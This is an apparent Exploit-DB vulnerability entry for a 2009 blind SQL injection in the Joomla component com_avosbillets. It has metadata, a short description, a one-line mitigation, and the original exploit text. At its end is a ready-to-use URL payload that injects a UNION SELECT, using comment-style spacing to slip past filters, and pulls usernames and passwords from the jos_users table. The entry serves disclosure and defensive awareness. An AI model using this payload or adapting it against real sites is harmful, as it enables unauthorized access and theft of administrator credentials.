Joomla Component com_avosbillets Blind SQL Injection Vulnerability

vendor:

com_avosbillets

by:

Pyske

7,5

CVSS

HIGH

Blind SQL Injection

CWE

Product Name: com_avosbillets

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Joomla Component com_avosbillets Blind SQL Injection Vulnerability

A vulnerability in the Joomla Component com_avosbillets allows an attacker to inject malicious SQL commands into the application. This can be exploited to gain access to the admin login credentials.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

<------------------- header data start ------------------- >
#############################################################
#        Joomla Component com_avosbillets Blind SQL Injection Vulnerability
#############################################################
# Author          : Pyske
# Home            : www.cyber-warrior.org<http://www.cyber-warrior.org>
# Greetz          : Fl0riX , M-K-A, F0RTYS3V3N ,BlackApple , KaBaDaY&#305; and All Cyber-Warrior
# Name            : com_avosbillets
# Bug Type        : Blind SQL Injection
# Infection       : Admin login bilgileri alinabilir.

#############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
http://server/index.php?option=com_avosbillets&task=view&view=event&id=374/**/and/**/1=0/**/union/**/select/**/0,1,2,3,4,5,6,7,8,concat(username,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/from/**/jos_users--

< -- bug code end of -- >